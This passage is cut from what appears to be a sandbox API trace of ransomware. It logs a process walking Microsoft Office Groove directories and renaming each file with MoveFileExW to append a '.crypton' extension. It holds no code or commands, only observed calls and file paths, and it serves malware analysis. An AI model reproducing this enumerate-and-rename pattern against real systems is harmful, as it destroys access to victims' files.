Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0103.686] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif.crypton"), dwFlags=0x2) returned 1 [0103.689] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif.crypton"), dwFlags=0x2) returned 1 [0103.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif.crypton"), dwFlags=0x2) returned 1 [0103.696] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif.crypton"), dwFlags=0x2) returned 1 [0103.699] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif.crypton"), dwFlags=0x2) returned 1 [0103.821] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js.crypton"), dwFlags=0x2) returned 1 [0103.916] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js.crypton"), dwFlags=0x2) returned 1 [0103.932] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js.crypton"), dwFlags=0x2) returned 1 [0103.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js.crypton"), dwFlags=0x2) returned 1 [0103.947] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.crypton"), dwFlags=0x2) returned 1 [0103.953] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb509520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb509520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000a34, cFileName=".", cAlternateFileName="")) returned 0x549890 [0103.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif.crypton"), dwFlags=0x2) returned 1 [0103.963] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.crypton"), dwFlags=0x2) returned 1 [0103.966] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp.crypton"), dwFlags=0x2) returned 1 [0103.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif.crypton"), dwFlags=0x2) returned 1 [0103.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif.crypton"), dwFlags=0x2) returned 1 [0103.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif.crypton"), dwFlags=0x2) returned 1 [0104.010] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif.crypton"), dwFlags=0x2) returned 1 [0104.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif.crypton"), dwFlags=0x2) returned 1 [0104.064] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif.crypton"), dwFlags=0x2) returned 1 [0104.077] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif.crypton"), dwFlags=0x2) returned 1 [0104.080] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif.crypton"), dwFlags=0x2) returned 1 [0104.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif.crypton"), dwFlags=0x2) returned 1 [0104.096] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif.crypton"), dwFlags=0x2) returned 1 [0104.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif.crypton"), dwFlags=0x2) returned 1 [0104.114] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif.crypton"), dwFlags=0x2) returned 1 [0104.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif.crypton"), dwFlags=0x2) returned 1 [0104.142] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif.crypton"), dwFlags=0x2) returned 1 [0104.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif.crypton"), dwFlags=0x2) returned 1 [0104.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif.crypton"), dwFlags=0x2) returned 1 [0104.164] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif.crypton"), dwFlags=0x2) returned 1 [0104.166] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif.crypton"), dwFlags=0x2) returned 1 [0104.169] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif.crypton"), dwFlags=0x2) returned 1 [0104.178] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif.crypton"), dwFlags=0x2) returned 1 [0104.181] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif.crypton"), dwFlags=0x2) returned 1 [0104.185] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif.crypton"), dwFlags=0x2) returned 1 [0104.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif.crypton"), dwFlags=0x2) returned 1 [0104.190] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif.crypton"), dwFlags=0x2) returned 1 [0104.195] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif.crypton"), dwFlags=0x2) returned 1 [0104.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js.crypton"), dwFlags=0x2) returned 1 [0104.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.crypton"), dwFlags=0x2) returned 1 [0104.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.crypton"), dwFlags=0x2) returned 1 [0104.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.crypton"), dwFlags=0x2) returned 1 [0104.257] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.261] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.crypton"), dwFlags=0x2) returned 1 [0104.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js.crypton"), dwFlags=0x2) returned 1 [0104.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css.crypton"), dwFlags=0x2) returned 1 [0104.275] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.279] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.292] MoveFileExW (lpExistingFileName="C:\\\\Program 